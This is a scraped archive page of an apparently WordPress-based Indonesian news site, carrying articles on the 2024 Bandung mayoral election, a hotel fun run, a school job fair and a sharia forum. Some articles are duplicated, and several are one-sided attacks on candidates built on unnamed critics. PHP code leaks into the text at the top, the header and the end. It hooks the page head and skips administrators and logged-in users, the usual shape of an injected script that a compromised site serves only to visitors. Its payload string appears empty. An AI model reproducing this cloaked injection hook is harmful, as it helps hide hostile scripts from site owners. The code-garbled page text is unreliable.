if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 226 dari 271 -
?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • Kritik Mengalir Deras, Mampukah Haru-Dhani Buktikan Kapabilitas?

    BANDUNG, VISTA NUSANTARAPasangan calon Wali Kota dan Wakil Wali Kota Bandung nomor urut 2, Haru Suandharu dan Dhani Wirianata, menghadapi gelombang kritik tajam di tengah kampanye Pilkada 2024. Janji-janji mereka, yang awalnya dianggap sebagai angin segar, kini dipandang oleh banyak pihak sebagai bombastis, tidak realistis, dan minim solusi konkret.  
    Mengusung slogan “Bandung yang Unggul dan Berdaya Saing,” Haru-Dhani menjanjikan berbagai program seperti penyediaan ruang hijau hingga pengembangan transportasi modern. Namun, kritik tajam datang dari publik yang meragukan realisasi program tersebut di tengah keterbatasan anggaran dan lahan.  
    “Janji mereka hanyalah fatamorgana politik. Tidak ada arah yang jelas bagaimana mereka akan mencapainya,” kata seorang pengamat tata kota Bandung.  
    Selain itu, isu realisasi anggaran yang jauh dari ekspektasi, seperti di Baleendah, semakin memunculkan keraguan. Dari janji anggaran Rp150 juta untuk pembangunan jalan akses warga, yang terealisasi hanya Rp15 juta. Hal ini mencerminkan tantangan politik yang sering dihadapi pejabat, yakni kesenjangan antara janji kampanye dan pelaksanaannya.  
    Kemampuan Haru-Dhani dalam mengelola kota sebesar Bandung juga diragukan banyak pihak. Rekam jejak pasangan ini dinilai tidak mencerminkan kesiapan untuk menangani kompleksitas permasalahan perkotaan.  
    “Bandung bukan tempat untuk uji coba kepemimpinan. Jika tidak kompeten, yang menjadi korban adalah rakyat,” ujar seorang akademisi dari Universitas Parahyangan.  
    Janji-janji ambisius Haru-Dhani, seperti perbaikan layanan kesehatan, pendidikan, dan revitalisasi ekonomi, juga menuai pertanyaan. Ketidakjelasan sumber pendanaan menjadi perhatian utama.  
    “Apakah ini berarti pajak akan dinaikkan? Atau mereka hanya bicara tanpa rencana nyata?” tanya seorang tokoh masyarakat Bandung.  
    Dalam kampanyenya, Haru-Dhani banyak menekankan pentingnya keberagaman dan toleransi. Namun, skeptisisme muncul mengenai ketulusan mereka dalam isu sosial ini.  
    “Bandung butuh pemimpin yang benar-benar memahami keragaman, bukan hanya menjual kata-kata manis,” ungkap seorang aktivis sosial.  
    Dengan berbagai kritik yang meliputi minimnya pengalaman, janji yang tidak realistis, dan kebijakan tanpa landasan jelas, banyak pihak mempertanyakan apakah Haru-Dhani benar-benar siap memimpin Bandung.  
    “Jika pasangan ini memimpin, Bandung tidak hanya stagnan, tetapi juga bisa terperosok lebih dalam dalam krisis tata kelola,” kata seorang warga yang prihatin dengan perkembangan Pilkada.  
    Kini, pasangan Haru-Dhani menghadapi tantangan besar untuk membuktikan bahwa mereka mampu menjawab kritik dan meraih kepercayaan publik. Namun, jika mereka gagal mengatasi keraguan ini, warga Bandung mungkin akan mencari alternatif pemimpin yang lebih kompeten dan kredibel.  
    Pilkada 2024 menjadi momen penting bagi warga Bandung untuk menentukan masa depan kotanya. Apakah mereka akan memberikan kesempatan kepada Haru-Dhani, atau mencari pemimpin lain yang dinilai lebih layak? Jawabannya akan menentukan arah Bandung dalam lima tahun ke depan.***
  • Janji Politik Haru-Dhani, Ambisius, Minim Solusi?

    BANDUNG, VISTA NUSANTARAPasangan calon Wali Kota dan Wakil Wali Kota Bandung nomor urut 2, Haru Suandharu dan Dhani Wirianata, menghadapi gelombang kritik tajam di tengah kampanye Pilkada 2024. Janji-janji mereka, yang awalnya dianggap sebagai angin segar, kini dipandang oleh banyak pihak sebagai bombastis, tidak realistis, dan minim solusi konkret.  
    Mengusung slogan “Bandung yang Unggul dan Berdaya Saing,” Haru-Dhani menjanjikan berbagai program seperti penyediaan ruang hijau hingga pengembangan transportasi modern. Namun, kritik tajam datang dari publik yang meragukan realisasi program tersebut di tengah keterbatasan anggaran dan lahan.  
    “Janji mereka hanyalah fatamorgana politik. Tidak ada arah yang jelas bagaimana mereka akan mencapainya,” kata seorang pengamat tata kota Bandung.  
    Selain itu, isu realisasi anggaran yang jauh dari ekspektasi, seperti di Baleendah, semakin memunculkan keraguan. Dari janji anggaran Rp150 juta untuk pembangunan jalan akses warga, yang terealisasi hanya Rp15 juta. Hal ini mencerminkan tantangan politik yang sering dihadapi pejabat, yakni kesenjangan antara janji kampanye dan pelaksanaannya.  
    Kemampuan Haru-Dhani dalam mengelola kota sebesar Bandung juga diragukan banyak pihak. Rekam jejak pasangan ini dinilai tidak mencerminkan kesiapan untuk menangani kompleksitas permasalahan perkotaan.  
    “Bandung bukan tempat untuk uji coba kepemimpinan. Jika tidak kompeten, yang menjadi korban adalah rakyat,” ujar seorang akademisi dari Universitas Parahyangan.  
    Janji-janji ambisius Haru-Dhani, seperti perbaikan layanan kesehatan, pendidikan, dan revitalisasi ekonomi, juga menuai pertanyaan. Ketidakjelasan sumber pendanaan menjadi perhatian utama.  
    “Apakah ini berarti pajak akan dinaikkan? Atau mereka hanya bicara tanpa rencana nyata?” tanya seorang tokoh masyarakat Bandung.  
    Dalam kampanyenya, Haru-Dhani banyak menekankan pentingnya keberagaman dan toleransi. Namun, skeptisisme muncul mengenai ketulusan mereka dalam isu sosial ini.  
    “Bandung butuh pemimpin yang benar-benar memahami keragaman, bukan hanya menjual kata-kata manis,” ungkap seorang aktivis sosial.  
    Dengan berbagai kritik yang meliputi minimnya pengalaman, janji yang tidak realistis, dan kebijakan tanpa landasan jelas, banyak pihak mempertanyakan apakah Haru-Dhani benar-benar siap memimpin Bandung.  
    “Jika pasangan ini memimpin, Bandung tidak hanya stagnan, tetapi juga bisa terperosok lebih dalam dalam krisis tata kelola,” kata seorang warga yang prihatin dengan perkembangan Pilkada.  
    Kini, pasangan Haru-Dhani menghadapi tantangan besar untuk membuktikan bahwa mereka mampu menjawab kritik dan meraih kepercayaan publik. Namun, jika mereka gagal mengatasi keraguan ini, warga Bandung mungkin akan mencari alternatif pemimpin yang lebih kompeten dan kredibel.  
    Pilkada 2024 menjadi momen penting bagi warga Bandung untuk menentukan masa depan kotanya. Apakah mereka akan memberikan kesempatan kepada Haru-Dhani, atau mencari pemimpin lain yang dinilai lebih layak? Jawabannya akan menentukan arah Bandung dalam lima tahun ke depan.***
  • HARRIS Day 2024, Daftar Sekarang untuk Fun Run 7K dan Hadiah Menarik di Bandung

    BANDUNG, VISTA NUSANTARAHARRIS Hotels, brand unggulan di bawah naungan The Ascott Limited, dengan bangga mengumumkan acara olahraga tahunan yang ditunggu-tunggu, HARRIS Day 2024, dengan tema FINAL LAP. Acara ini secara resmi akan diperkenalkan dalam konferensi pers di Bright Room, HARRIS Ciumbuleuit Bandung, pada hari Rabu, 20 November 2024, pukul 14.00 – 16.00 WIB.

    Memasuki tahun ke-13 pelaksanaannya, HARRIS Day tetap berkomitmen untuk mempromosikan gaya hidup sehat dan seimbang melalui aktivitas seru dan inspiratif. Tahun ini, HARRIS Day akan digelar secara serentak di tiga wilayah, yaitu Bandung, Bali, dan Batam, pada hari Minggu, 8 Desember 2024.

    Sorotan HARRIS Day 2024: FINAL LAP

    • Fun Run 7K: Terbuka untuk semua peserta dengan dua kategori tiket:

    o Full Race Pack: Rp 220.000 (termasuk jersey, medali, bib, e-sertifikat, nomor undian, dan refreshment).

    o Non-Race Pack: Rp 160.000 (termasuk medali, bib, e-sertifikat, dan nomor undian).

    Tiket dapat dibeli di discoverasr.com/harrisday hingga 7 Desember 2024.

    Aktivitas Wellness dan Hiburan:

    o Booth interaktif, fitness bootcamp, dan sesi wellness bersama Anytime Fitness.

    o Talkshow kesehatan berkolaborasi dengan Mayapada Hospital.

    o Penampilan bintang tamu spesial, termasuk Club Dangdut Racun.

    o Hadiah menarik seperti uang cash dengan total Rp.12.000.000, iPhone 15, dua 

    smartwatch,smart TV dan berbagai hadiah dari sponsor.

    • Inisiatif CSR: Sebagian hasil penjualan tiket akan disumbangkan untuk mendukung anak-anak yang membutuhkan, sebagai bentuk komitmen sosial HARRIS Hotels.

    Detail Acara untuk Bandung:

    • Tanggal: Minggu, 8 Desember 2024

    • Lokasi: Lapangan Krida Wiradhika Secapa AD

    • Waktu: 6:00 WIB

    HARRIS Day 2024 menjanjikan pengalaman tak terlupakan bagi pelari, keluarga, dan pecinta gaya hidup sehat. Acara ini menggabungkan kesehatan, kebersamaan, dan hiburan. Untuk informasi lebih lanjut, ikuti akun Instagram kami di @harrisciumbuleuit dan @harriscitylinkbandung.

    Tentang HARRIS Hotels dan The Ascott Limited

    HARRIS Hotels adalah bagian dari The Ascott Limited, salah satu pemilik dan operator properti penginapan internasional terbesar di dunia. Dengan 11 brand yang dikelola, termasuk HARRIS, POP!, dan YELLO, The Ascott Limited mengoperasikan lebih dari 85 properti di seluruh Indonesia. Seri acara HARRIS Day adalah bukti dedikasi brand ini dalam mempromosikan gaya hidup sehat sekaligus mempererat hubungan komunitas.

    Untuk informasi lebih lanjut, kunjungi discoverasr.com/harrisday-2024 atau hubungi:

    HARRIS Day Bandung 2024

    Telepon: +62 8129 7792 868

  • Dibayangi Keraguan, Mampukah Haru-Dhani Penuhi Ekspektasi Warga Bandung?

    BANDUNG, VISTA NUSANTARAPasangan calon Wali Kota dan Wakil Wali Kota Bandung 2024, Haru Suandharu dan Dhani Wirianata, yang menduduki nomor urut 2, telah menarik perhatian publik dengan berbagai kontroversi yang menyertai kampanye mereka. Namun, ada sejumlah kesalahan dan kontroversi yang bisa menjadi batu sandungan dalam perjalanan mereka menuju kursi Wali Kota Bandung.
    Salah satu isu yang paling disorot adalah dugaan janji-janji kampanye yang dinilai bombastis namun kurang realistis. Visi mereka untuk “Bandung yang Unggul dan Berdaya Saing” terdengar ambisius, tetapi banyak warga mempertanyakan bagaimana rencana-rencana besar tersebut dapat diwujudkan, terutama dengan situasi ekonomi yang menantang saat ini. Apakah rencana ini hanya sekadar slogan tanpa landasan konkret yang kuat?
    Kritik lain yang dilontarkan publik adalah soal pengalaman dan rekam jejak yang dianggap kurang mumpuni. Beberapa pihak mempertanyakan apakah pasangan ini memiliki pengalaman yang cukup dalam mengelola kota sebesar Bandung. Mampukah mereka menghadapi berbagai tantangan kota, mulai dari transportasi, tata kota, hingga masalah sosial yang kompleks?
    Pasangan ini juga mendapat sorotan terkait kebijakan-kebijakan yang mereka tawarkan. Salah satunya adalah program penataan ruang hijau yang dinilai tidak realistis mengingat keterbatasan lahan di kota Bandung. Selain itu, isu seputar pemenuhan layanan publik seperti kesehatan dan pendidikan juga menjadi sorotan, karena belum jelas bagaimana pasangan ini akan mengatasi kendala yang sudah lama ada, seperti keterbatasan anggaran dan fasilitas.
    Terlebih lagi, sejumlah pihak merasa khawatir atas kemampuan pasangan ini dalam menangani isu-isu sosial seperti keberagaman dan toleransi di masyarakat. Dalam kampanyenya, Haru-Dhani menyampaikan komitmen untuk memupuk toleransi, tetapi banyak warga yang meragukan efektivitasnya, terutama mengingat kompleksitas masalah keberagaman di kota ini.
    Sementara Haru Suandharu dan Dhani Wirianata terus menggalang dukungan, sejumlah pihak merasa skeptis apakah pasangan ini dapat menghindari “dosa besar” lainnya di masa kampanye dan setelahnya. Masyarakat Bandung tampaknya menantikan dengan penuh harap sekaligus kekhawatiran, apakah pasangan nomor urut 2 ini benar-benar mampu memenuhi janji-janjinya atau malah justru terjerat dalam kontroversi yang lebih besar.***
  • Job Fair SMK Bina Putra, Media Alumni Menuju Dunia Kerja

    BANDUNG, VISTA NUSANTARASMK Bina Putra Cihampelas Kabupaten Bandung Barat gelar Job Fair guna memfasilitasi para alumni baik dari SMK Bina Putra maupun alumni dari luar yang akan masuk dunia kerja serta mengusung tema “Temukan Karis Suksesmu Disini” yang dilaksanakan di kampus SMK Bina Putra jalan Raya Citapen Cihampelas Kabupaten Bandung Barat, Kamis (21/11/2024).
    Hadir dalam kegiatan Job Fair SMK Bina Putra Cihampelas ini antara Disnaker KBB, Forum Bursa Kerja Khusus (FBKK) KBB, Pengawas Pembina, Bhabinkamtibmas, staf Kecamatan Cihampelas, Pengurus Komite, civitas akademika SMK Bina Putra serta tamu undangan lainnya.
    Ketua pelaksana Job Fair SMK Bina Putra Cihampelas sekaligus ketua BKK SMK Bina Putra Yosep Saepulloh, S.Pd., menyampaikan bahwa kegiatan job fair kali ini diikuti oleh 16 perusahaan sebagai mitra industri, dengan jumlah peserta yang mendaftar secara online yaitu 250 peserta diluar yang datang langsung ke acara job fair. Yosep berharap dengan diadakannya job fair ini bisa menjadi media bagi para alumni yang akan bekerja guna mendapatkan pekerjaan yang sesuai dengan kompetensi, minat dan bakatnya.
    Kepada SMK Bina Putra Cihampelas Rudianto Surya Hadisaputra, S.Pd., menambahkan bahwa kegiatan job fair ini merupakan rangkaian kegiatan dari sekolah Program Keunggulan (PK), guna memfasilitasi bagi para alumni SMK Bina Putra khususnya dan alumni dari luar yang akan masuk dunia kerja.
    Dengan konsep lulusan SMK yaitu bekerja, melanjutkan pendidikan maupun berwirausaha maka kegiatan job fair ini bisa menjadi media bagi para alumni khususnya yang akan bekerja. Program job fair merupakan program yang telah direncanakan secara matang sebagai satu kegiatan yang masuk pada arkas. 
    Dari kegiatan job fair ini panitia pelaksana kegiatan akan terus berkomunikasi dan menindaklanjuti hasilnya dengan pihak industri yang ikut serta. Hal ini bertujuan sebagai bahan evaluasi pada program edu fair selanjutnya agar dengan kegiatan job fair maka SMK akan berkontribusi nyata dalam mengurangi angka pengangguran, pungkas Rudi.
    Kegiatan job fair SMK Bina Putra Cihampelas diisi dengan berbagai kegiatan diantaranya penampilan ekstrakurikuler siswa, bazzar spw dalam berbagai produk yang ditampilkan serta penandatanganan MoU SMK Bina Putra Cihampelas KBB dengan perwakilan industri dalam rekrutmen calon karyawan.***
  • Dandan Riza Wardana dan Perjuangannya Menghadapi Masa Lalu Gelap di Pilkada 2024

    BANDUNG, VISTA NUSANTARADandan Riza Wardana, yang sebelumnya menjabat sebagai Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kota Bandung, kini maju sebagai calon Wali Kota dalam Pilkada serentak 2024.


    Meskipun telah memasang spanduk di berbagai lokasi untuk meningkatkan visibilitasnya, catatan negatif terkait kasus pungutan liar (pungli) masih menghantuinya dan bisa memengaruhi dukungan publik. Persaingan dalam pilkada ini akan menjadi tantangan berat baginya untuk membuktikan kredibilitas dan visinya bagi Kota Bandung.

    Namun, pada Januari 2017, ia terjaring operasi tangkap tangan (OTT) oleh Polrestabes Bandung karena diduga menerima suap dari pengusaha melalui bawahannya untuk mempermudah proses perizinan.

    Setelah melalui persidangan, majelis hakim Pengadilan Negeri Bandung pada 23 Oktober 2017 memvonis Dandan Riza Wardana dengan hukuman penjara selama dua tahun dan denda Rp 50 juta atau subsider satu bulan kurungan.

    Dalam putusannya, hakim Tardi menyatakan bahwa Dandan terbukti bersalah melanggar Pasal 11 Undang-undang Tindak Pidana Korupsi (Tipikor).

    Hukuman tersebut lebih ringan dari tuntutan jaksa yang menuntut 1,5 tahun penjara.

    Dandan Riza Wardana, meskipun tidak menikmati hasil suap dan memiliki rekam jejak panjang sebagai PNS, menghadapi konsekuensi hukum yang berat setelah dinyatakan bersalah dalam kasus pungli. Hakim menegaskan bahwa sebagai pejabat publik, dia seharusnya berkomitmen pada upaya pemberantasan korupsi. Bersama lima stafnya, Dandan dijatuhi hukuman satu tahun penjara.

    Setelah menjalani hukuman, Dandan kembali aktif di dunia bisnis dan menjabat sebagai Komisaris Utama di PT Jaswita Bumi Persada sejak 2020 serta di PT Multazam Mulia sejak 2023. Meskipun kembali ke dunia bisnis, bayang-bayang kasus hukumnya tetap menjadi perhatian publik menjelang Pilkada 2024.***
  • Farhan-Erwin Dikritik Setelah Ucapan Kontroversial di Debat Pilkada Bandung

    BANDUNG, VISTA NUSANTARAKomisi Pemilihan Umum (KPU) Kota Bandung berhasil menggelar acara debat terakhir dalam rangkaian agenda Pemilihan Kepala Daerah (Pilkada) tahun 2024. 
    Rangkaian acara yang di gelar di The Trans Luxury Hotel Bandung, pada Selasa (19/11/2024) pukul 19.00 WIB tersebut di hadiri oleh keempat pasangan calon. Perlu diketahui rangkaian agenda debat tersebut merupakan salah satu sarana edukasi khususnya masyarakat Kota Bandung dalam melihat dan menentukan siapa pemimpin yang tepat untuk menahkodai Kota Bandung 5 tahun kedepan. 
    Agenda debat tersebut terdiri dari enam sesi yang dimana keempat pasangan calon wali kota dan wakil wali kota beradu pendapat dan solusi untuk mengatasi berbagai permasalahan yang ada di Kota Bandung. 
    Empat sesi sebelumnya rangkaian agenda debat berjalan dengan lancar semua paslon mengutarakan pendapat dan visi misi masing-masing dengan santun dan baik, namun ketika memasuki sesi debat kelima hal yang kurang elok dan cenderung tidak sopan kepada masyarakat sempat di ucapkan oleh pasangan calon Wali Kota dan Wakil Wali Kota nomor urut 3 yaitu Farhan-Erwin. 
    Pada debat sesi kelima tersebut, masing-masing paslon mendapat kesempatan untuk bertanya terkait sub tema yang diberikan. Panelis Rosleny Marliani mengambil sub tema melalui fish ball.
    Pasangan Farhan-Erwin mendapatkan giliran untuk bertanya mengenai Pelayanan dan Infrastruktur Kesehatan. Calon Wakil Wali Kota Bandung, Erwin, mengajukan pertanyaan kepada ketiga pasangan calon lainnya terkait tema tersebut selama satu menit.
    “Saya masih jadi Ketua RW. Saya melihat UHC ini posisinya mudah, tapi kadang sulit. Saya ingin tahu bagaimana dari paslon untuk bisa lebih memudahkan semua proses ini? Mohon dijawab dengan komprehensif karena ini bagian dari edukasi masyarakat,” tanya Erwin kepada paslon lain. 
    Selanjutnya, setelah ketiga paslon lain menjawab mengenai pertanyaan nya lalu sanggahan pun di berikan Erwin kepada Paslon lain. 
    Ketika menyanggah pernyataan pasangan calon lain soal pembahasan Program UHC, Erwin sempat mengucapkan kata- kata yang sangat tidak sopan untuk di lontarkan oleh seorang calon pemimpin, yang dimana ia mengatakan kata ‘paeh’ kepada masyarakat kata tersebut memiliki arti Mati dalam Bahasa Sunda kasar. 
    “Proses UHC kalau belum sakit parah prosesnya ke puskesmas dulu, baru masuk dinkes untuk validasi. Kalau sudah mau ‘paeh,’ bisa langsung masuk IGD rumah sakit dengan menunjukkan KTP melalui SKTM atau kartu keluarga,” ucap Erwin.
    Namun, perkataan Erwin yang menggunakan kata “Paeh” mendapat sorotan negatif dari pasangan calon lainnya, termasuk pasangannya sendiri, Muhammad Farhan. Hal ini disayangkan karena debat terakhir yang diharapkan dapat menjadi acuan bagi masyarakat dalam memilih pemimpin, seharusnya tidak disertai dengan penggunaan kata kasar, apalagi mengingat siaran tersebut disiarkan secara nasional.
    “Mohon maaf, wakil saya terprovokasi sehingga ada kata kasar yang seharusnya tidak diucapkan untuk manusia. Sebaiknya digunakan istilah meninggal dunia,” ujar Farhan ditengah sesi debat.
    Insiden pengucapan kata kasar tersebut mengingatkan kita seharusnya ketika berkeinginan menjadi seorang pemimpin itu harus tetap bijak apalagi berkata-kata di khalayak umum jangan sampai dapat melukai perasaan masyarakat. Selain itu juga menjadi pemimpin yang berfikir jernih itu penting dan tidak mudah terprovokasi.***
  • Debat Terakhir Pilkada Bandung, Kata Kasar Erwin Cederai Momen Penting

    BANDUNG, VISTA NUSANTARAKomisi Pemilihan Umum (KPU) Kota Bandung berhasil menggelar acara debat terakhir dalam rangkaian agenda Pemilihan Kepala Daerah (Pilkada) tahun 2024. 
    Rangkaian acara yang di gelar di The Trans Luxury Hotel Bandung, pada Selasa (19/11/2024) pukul 19.00 WIB tersebut di hadiri oleh keempat pasangan calon. Perlu diketahui rangkaian agenda debat tersebut merupakan salah satu sarana edukasi khususnya masyarakat Kota Bandung dalam melihat dan menentukan siapa pemimpin yang tepat untuk menahkodai Kota Bandung 5 tahun kedepan. 
    Agenda debat tersebut terdiri dari enam sesi yang dimana keempat pasangan calon wali kota dan wakil wali kota beradu pendapat dan solusi untuk mengatasi berbagai permasalahan yang ada di Kota Bandung. 
    Empat sesi sebelumnya rangkaian agenda debat berjalan dengan lancar semua paslon mengutarakan pendapat dan visi misi masing-masing dengan santun dan baik, namun ketika memasuki sesi debat kelima hal yang kurang elok dan cenderung tidak sopan kepada masyarakat sempat di ucapkan oleh pasangan calon Wali Kota dan Wakil Wali Kota nomor urut 3 yaitu Farhan-Erwin. 
    Pada debat sesi kelima tersebut, masing-masing paslon mendapat kesempatan untuk bertanya terkait sub tema yang diberikan. Panelis Rosleny Marliani mengambil sub tema melalui fish ball.
    Pasangan Farhan-Erwin mendapatkan giliran untuk bertanya mengenai Pelayanan dan Infrastruktur Kesehatan. Calon Wakil Wali Kota Bandung, Erwin, mengajukan pertanyaan kepada ketiga pasangan calon lainnya terkait tema tersebut selama satu menit.
    “Saya masih jadi Ketua RW. Saya melihat UHC ini posisinya mudah, tapi kadang sulit. Saya ingin tahu bagaimana dari paslon untuk bisa lebih memudahkan semua proses ini? Mohon dijawab dengan komprehensif karena ini bagian dari edukasi masyarakat,” tanya Erwin kepada paslon lain. 
    Selanjutnya, setelah ketiga paslon lain menjawab mengenai pertanyaan nya lalu sanggahan pun di berikan Erwin kepada Paslon lain. 
    Ketika menyanggah pernyataan pasangan calon lain soal pembahasan Program UHC, Erwin sempat mengucapkan kata- kata yang sangat tidak sopan untuk di lontarkan oleh seorang calon pemimpin, yang dimana ia mengatakan kata ‘paeh’ kepada masyarakat kata tersebut memiliki arti Mati dalam Bahasa Sunda kasar. 
    “Proses UHC kalau belum sakit parah prosesnya ke puskesmas dulu, baru masuk dinkes untuk validasi. Kalau sudah mau ‘paeh,’ bisa langsung masuk IGD rumah sakit dengan menunjukkan KTP melalui SKTM atau kartu keluarga,” ucap Erwin.
    Namun, perkataan Erwin yang menggunakan kata “Paeh” mendapat sorotan negatif dari pasangan calon lainnya, termasuk pasangannya sendiri, Muhammad Farhan. Hal ini disayangkan karena debat terakhir yang diharapkan dapat menjadi acuan bagi masyarakat dalam memilih pemimpin, seharusnya tidak disertai dengan penggunaan kata kasar, apalagi mengingat siaran tersebut disiarkan secara nasional.
    “Mohon maaf, wakil saya terprovokasi sehingga ada kata kasar yang seharusnya tidak diucapkan untuk manusia. Sebaiknya digunakan istilah meninggal dunia,” ujar Farhan ditengah sesi debat.
    Insiden pengucapan kata kasar tersebut mengingatkan kita seharusnya ketika berkeinginan menjadi seorang pemimpin itu harus tetap bijak apalagi berkata-kata di khalayak umum jangan sampai dapat melukai perasaan masyarakat. Selain itu juga menjadi pemimpin yang berfikir jernih itu penting dan tidak mudah terprovokasi.***
  • Polri dan Pemda Kabupaten Bandung Bersinergi Wujudkan Program Astacita

    BANDUNG, VISTA NUSANTARAKepolisian Resor Kota (Polresta) Bandung secara resmi meluncurkan Gugus Tugas Ketahanan Pangan di Kabupaten Bandung. Acara ini dilaksanakan di kawasan Nagreg, Kabupaten Bandung, dan dihadiri oleh Wakapolresta Bandung, AKBP Hidayat, Pj Bupati Bandung, Dandim 0624/Kabupaten Bandung, serta Kepala Dinas Pertanian Kabupaten Bandung.


    Kapolresta Bandung, Kombes Pol Kusworo Wibowo, melalui Wakapolresta Bandung, AKBP Hidayat, menegaskan bahwa program ini merupakan bentuk dukungan Polri terhadap upaya pemerintah dalam menjaga ketahanan pangan nasional.

    “Alhamdulillah, hari ini kita melaksanakan langkah awal dengan memanfaatkan 2 hektare dari total 8 hektare lahan yang telah disiapkan,” ujarnya. Rabu, 20 November 2024.

    “Ini menjadi produk awal pelaksanaan kegiatan untuk mendukung ketahanan pangan sesuai arahan Bapak Presiden Prabowo,” lanjutnya.

    AKBP Hidayat menjelaskan bahwa Polresta Bandung telah mengidentifikasi potensi lahan seluas 40 hektare secara keseluruhan. Lahan tersebut akan dioptimalkan secara bertahap melalui kerja sama yang sinergis dengan pemerintah daerah dan instansi terkait, termasuk Kodim setempat.

    “Kami akan bersinergi dengan pemerintah daerah dan Bapak Dandim untuk mendukung program Astacita yang digagas oleh Bapak Presiden Prabowo,” tambahnya.

    Program ini tidak hanya menyasar lahan tidur atau lahan kritis, tetapi juga berfokus pada revitalisasi dan optimalisasi lahan pertanian produktif. 


    “Revitalisasi lahan tidur menjadi salah satu prioritas kami. Selain itu, kami juga akan mengembangkan lahan-lahan produktif agar dapat dimanfaatkan secara maksimal,” jelas AKBP Hidayat.

    Dengan peluncuran ini, Polresta Bandung berharap dapat memberikan kontribusi yang nyata dalam meningkatkan ketahanan pangan di wilayah Kabupaten Bandung. Langkah ini juga merupakan bagian dari komitmen Polri dalam mendukung pembangunan berkelanjutan di sektor pertanian.***
  • Ekonomi Syariah dan Layanan Syariah Pemerintah Jadi Fokus SHARIF 2024

    VISTA NUSANTARAMenteri Agama (Menag), Nasaruddin Umar, melihat konsep syariah tidak hanya sebagai fenomena agama, tetapi juga sebagai fenomena ekonomi, yang tercermin dalam kemunculan makanan halal dan gaya hidup halal di berbagai penjuru dunia.


    “Ini satu pertanda bahwa syariah bukan lagi tampil sebagai fenomena agama, tetapi tampil sebagai fenomena ekonomi juga,” ujar Menag Nasaruddin Umar dalam keterangannya di Jakarta, Kamis.

    Pernyataan Menag tersebut disampaikan dalam Sharia International Forum (SHARIF) 2024 yang diadakan di Hotel Mercure Ancol, Jakarta Utara, pada Rabu hingga Kamis (20-21/11).

    Menag mengutip pernyataan Paus Benediktus yang menyatakan bahwa satu-satunya cara untuk menyelamatkan perekonomian dunia saat ini adalah dengan mengadopsi konsep ekonomi syariah.

    Menurut Menag, hal ini menjadi salah satu alasan mengapa ekonomi syariah diyakini dapat memberikan solusi terhadap krisis global, karena prinsip keadilan yang terkandung dalam implementasinya.

    Menag juga mendorong perlunya pengembangan literatur baru dalam syariat Islam agar tetap relevan dan dapat diterapkan dalam perkembangan ekonomi modern saat ini.

    “Mari kita membuat fikih muamalah yang kontemporer, yang bisa kompatibel dengan perkembangan zaman kita,” ucap dia.

    Menurut Menag, saat ini ada sebuah otoritas yang turut mengintervensi apa yang dimaksud dengan kebenaran. Oleh karena itu, Menag mengungkapkan perlu adanya otoritas penguatan ilmu syariah yang akomodatif terhadap perkembangan zaman.

    Dengan diselenggarakannya SHARIF 2024, Menag berharap forum akademis berskala internasional ini dapat menjadi wadah untuk mengartikulasikan konsep syariah yang sejalan dengan pasar saat ini, tanpa berarti syariah harus mengalah pada pasar.

    Forum ini akan menjadi agenda tahunan yang pada penyelenggaraan perdana ini diikuti oleh sarjana, lembaga fatwa, dan delegasi dari 14 negara, yaitu Indonesia, Malaysia, Brunei Darussalam, Singapura, Persatuan Emirat Arab (PEA), Mesir, Yordania, Palestina, Qatar, Maroko, Arab Saudi, Tunisia, Turki, dan Australia.

    Menag juga menekankan pentingnya agar konferensi ini segera mendorong terciptanya konsep ekonomi syariah dan muamalah yang mampu menjawab tantangan-tantangan kontemporer.

    “Semoga forum ini dapat menjadi peluang untuk memperkuat kerja sama dengan negara-negara sahabat guna mewujudkan inovasi global demi kemajuan bersama,” kata dia.

    Dengan mengusung tema Sharia Services by Government Toward Mashlaha Ammah (Pelayanan Syariah oleh Pemerintah Terhadap Kemaslahatan Bersama), forum yang diselenggarakan perdana ini berupaya untuk menekankan pentingnya keterlibatan negara dalam penyediaan layanan keagamaan Islam.

    Pelayanan dalam hal ini tidak hanya dirancang untuk memenuhi kebutuhan umat Islam, tetapi juga untuk mempromosikan kehidupan warga negara dunia yang harmonis.

    Forum ini menjadi kesempatan bagi para peserta yang mewakili negaranya untuk bertukar ide, berkontribusi, dan mengevaluasi praktik-praktik yang ada saat ini terkait dengan tema-tema syariah yang berdampak pada kehidupan umat Islam serta warga negara lainnya di seluruh dunia.***
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);